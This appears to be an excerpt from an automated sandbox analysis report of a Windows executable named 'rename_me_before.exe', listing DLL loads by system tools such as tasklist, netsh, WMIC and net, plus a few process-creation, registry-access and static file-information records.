Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: esscli.dll
Source: C:\Windows\System32\HOSTNAME.EXE	Section loaded: mswsock.dll
Source: C:\Windows\System32\HOSTNAME.EXE	Section loaded: napinsp.dll
Source: C:\Windows\System32\HOSTNAME.EXE	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\HOSTNAME.EXE	Section loaded: wshbth.dll
Source: C:\Windows\System32\HOSTNAME.EXE	Section loaded: nlaapi.dll
Source: C:\Windows\System32\HOSTNAME.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\HOSTNAME.EXE	Section loaded: dnsapi.dll
Source: C:\Windows\System32\HOSTNAME.EXE	Section loaded: winrnr.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net1.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\net1.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\query.exe	Section loaded: regapi.dll
Source: C:\Windows\System32\quser.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\quser.exe	Section loaded: utildll.dll
Source: C:\Windows\System32\quser.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\quser.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net1.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\net1.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net1.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\net1.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net1.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\net1.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net1.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\net1.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\ROUTE.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\ROUTE.EXE	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\ROUTE.EXE	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\ROUTE.EXE	Section loaded: dnsapi.dll
Source: C:\Windows\System32\ARP.EXE	Section loaded: snmpapi.dll
Source: C:\Windows\System32\ARP.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\ARP.EXE	Section loaded: inetmib1.dll
Source: C:\Windows\System32\ARP.EXE	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\ARP.EXE	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\ARP.EXE	Section loaded: dnsapi.dll
Source: C:\Windows\System32\NETSTAT.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\NETSTAT.EXE	Section loaded: snmpapi.dll
Source: C:\Windows\System32\NETSTAT.EXE	Section loaded: inetmib1.dll
Source: C:\Windows\System32\NETSTAT.EXE	Section loaded: mswsock.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll

Source: C:\Windows\System32\tasklist.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\systeminfo.exe systeminfo

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: rename_me_before.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: rename_me_before.exe

Static file information: File size 11803970 > 1048576

